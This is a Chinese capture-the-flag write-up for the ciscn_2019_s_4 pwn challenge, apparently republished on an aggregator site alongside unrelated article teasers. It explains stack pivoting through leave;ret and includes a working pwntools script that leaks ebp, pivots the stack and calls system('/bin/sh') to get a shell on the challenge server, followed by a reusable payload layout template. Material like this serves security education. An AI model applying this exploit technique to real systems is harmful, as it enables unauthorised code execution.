ciscn_2019_s_4-栈迁移

news2024/11/27 3:23:36

1,三连
在这里插入图片描述程序功能:两次输入
题目类型猜测:栈溢出,栈迁移

2,ida分析
溢出点:
在这里插入图片描述
system_plt地址:
在这里插入图片描述思路:由于无直接getshell的利用函数,溢出空间只有8字节(ebp+ret占用无法继续填充ROP了),所以需要栈迁移更大的空间来构造ROP

栈迁移核心(通过ROPGadget寻找 leave+retn组合):
leave;
等价

mov esp ebp	//利用它执行达成栈迁移
pop ebp			//单纯执行下

作用:负责栈迁移

retn;
等价

pop eip

作用:赋值执行函数调用

在这里插入图片描述

3,
此栈帧迁移到s[40]数组的位置,先通过第一次打印泄露s[40]的起始地址。

payload

from pwn import *
context.log_level="debug"

r=remote('node4.buuoj.cn',26060)

sys_addr=0x8048400
leave_ret=0x080484b8

payload='a'*0x24+'bbbb'
r.recvuntil('name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(r.recv(4).ljust(4,'\x00'))

print 'ebp='+hex(ebp)

buf=ebp-0x38

payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave_ret)

r.send(payload)
r.interactive()

栈图布局可参考:
https://blog.csdn.net/mcmuyanga/article/details/112462462

总结下栈迁移固定布局套路:
ebp位置:栈迁移位置-4(32位)
ret位置:leave_ret
栈迁移位置:执行函数+0xdeadbeef(假ebp)+0xdeadbeef(假ret)+参数

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/620810.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构与算法脑图

数据结构 非受限线性表 顺序结构 数组 支持 O(1) 的随机访问平均为 O(n) 的插入和删除警惕越界错误,导致 Stack Over Flow链式结构 单链表 不支持随机访问,需要遍历去访问结点插入和删除只需要移动指针,时间复杂度为 O(1)每个结点需要额外的空间存储指针,需要的内存比数组…

控制视图内容的位置

文本域中的提示内容在默认情况下是垂直居中的,要改变文本在文本域中的位置,可以使用android:gravity来实现。 利用android:gravity可以指定如何在视图中放置视图内容,例如,如何在文本域中放置文本。 如果希望视图文本显示在上方&a…

RocketMQ 学习社区重磅上线!AI 互动,一秒了解 RocketMQ 功能源码

作者:RocketMQ学习社区 RocketMQ 背景 Apache RocketMQ 诞生至今,一直服务于 100% 阿里集团内部业务、阿里云以及开源社区数以万计的企业客户。 历经十多年双十一严苛流量验证的 RocketMQ,承载了超过万亿级消息规模的洪峰压力。2021 年 Ap…

大数据权限与安全

大数据权限与安全 1、权限概述 1.1、大数据平台权限管控现状 权限的管控,历来是大数据平台中最让人头疼的问题之一。管得严了,业务不流畅,用户不开心,放得宽了,安全没有底。而且大数据平台组件,服务众多…

InnoDB - 页结构

InnoDB - 页结构 文章目录 InnoDB - 页结构1. InnoDB页简介2. InnoDB页结构2.1 User Records(数据)2.2 Page Directory(页目录)2.3 Page Header(页头部信息)2.4 File Header(文件头)…

ByteBuddy

JavaAgent是在JDK5之后提供的新特性,也可以叫java代理。 开发者通过这种机制(Instrumentation)可以在加载class文件之前修改方法的字节码(此时字节码尚未加入JVM),动态更改类方法实现AOP,提供监控服务如;方法调用时长、可用率、内…

RocketMQ详解

介绍 ​ RocketMQ作为一款纯Java、分布式、队列模型的开源消息中间件,支持事务消息、顺序消息、批量消息、定时消息、消息回溯等。 RocketMQ 特点 支持发布/订阅(Pub/Sub)和点对点(P2P)消息模型 ​ 在一个队列中可…

ASEMI代理英飞凌SPW47N60C3功率MOS管的性能与应用

编辑-Z 本文将对SPW47N60C3功率MOSFET的性能与应用进行分析。我们将介绍SPW47N60C3的基本性能参数,然后从四个方面对其性能进行详细阐述,包括电气性能、热性能、封装与可靠性以及应用领域。 1、SPW47N60C3的基本性能参数 SPW47N60C3是一款高性能的功率…

Python 和 C++ 混合编程:pybind11 使用

Python 和 C 混合编程:pybind11 使用 1. 目的需求2. pybind 11 简介3. 使用实践3.1 开发环境3.2 准备工作3.3 建立工程 test3.4 编译工程 test 库3.5 Python 调用 工程 test 库 4. 实线小结5. 参考资料 1. 目的需求 我们通常在 Python 上进行算法开发,因…

【数据结构】——树的相关习题

目录 一、选择填空判断题题1题2题3题4题5题6题7题8题9 二、应用题题10(遍历序列)题11(存储结构)题12 13(二叉树/树、森林之间的转换)题14(线索二叉树) 一、选择填空判断题 题1 1、设…

Java的包装类(装箱和拆箱面试题)

1.为什么要有包装类(或封装类) 为了使基本数据类型的变量具有类的特征,引入包装类。 2.基本数据类型与对应的包装类: 3.装箱和拆箱 基本数据类型包装成 包装类的实例—装箱 通过包装类的构造器实现: int i 500; Integer t ne…

案例34:基于Springboot在线互动学习网站开题报告设计

博主介绍:✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专…

深度学习笔记之Seq2Seq(一)基本介绍

深度学习笔记之Seq2seq——基本介绍 引言回顾:经典循环神经网络结构关于循环神经网络的更多引用 Seq2seq \text{Seq2seq} Seq2seq网络结构 Seq2seq \text{Seq2seq} Seq2seq结构描述 引言 从本节开始,将介绍 Seq2seq \text{Seq2seq} Seq2seq。 回顾&…

苏轼人生历程不同时期作品

大文豪苏轼才华横溢,一生却屡经贬谪,四处漂泊。但好在他生性豁达,为人率真,又深得道家思想精髓,所以他不仅没有为不幸的遭遇所折服,反而活出了别样的潇洒与风采。也正因如此,他的诗词、他的性情…

人脸融合相关调研

以前的记录,整理发现了值得分享一下。 云解决方案 腾讯: https://ai.qq.com/product/facemerge.shtmlFace: https://www.faceplusplus.com.cn/face-merging/Baidu:https://ai.baidu.com/tech/face/merge 自研 纯Opencv实现,基于…

由世纪互联运营的Microsoft Teams携创新功能正式发布,助力合作伙伴生态共赢

2023年4月18日,北京——由世纪互联运营的Microsoft Teams推出一系列创新功能,围绕企业数字核心能力,赋能数字化协作空间、智能化协作体验、整合生产力工具和工作流、安全合规、构建团队文化等五大落地场景,这将进一步帮助中国市场…

【unity造轮子】最简单的双向可穿越平台制作(Platform Effector 2D的使用)

文章目录 先看最终效果2D平台效应器(Platform Effector 2D)1. 这里简单解释一下2.一些常见的效果包括:3.Platform Effector 2D具有各种属性,使我们可以控制它的行为。这些属性包括: 可向上穿越的平台向下穿越的平台最终…

代码随想录算法训练营第一天| 704.二分查找、27.移除元素

LeetCode704.二分查找 链接:(704.二分查找) 题目描述:给定一个 n 个元素有序的(升序)整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中的 target,如果目标值存在返回下标,否则返回 -1。 题目就…

远程服务调用的简单应用,并轻松解决LinkedHashMap无法转成相关实体类的问题

🏀(一)为啥需要远程服务调用? 🐠知其然还要知其所以然,在我们的生产项目上一般而言会部署多个微服务,每个微服务会负责不同版块的业务工作。如果某个微服务需要借助另外的某些微服务中的接口才能…

尚硅谷甄选

搭建后台管理系统模板 项目初始化 今天来带大家从0开始搭建一个vue3版本的后台管理系统。一个项目要有统一的规范,需要使用eslintstylelintprettier来对我们的代码质量做检测和修复,需要使用husky来做commit拦截,需要使用commitlint来统一提…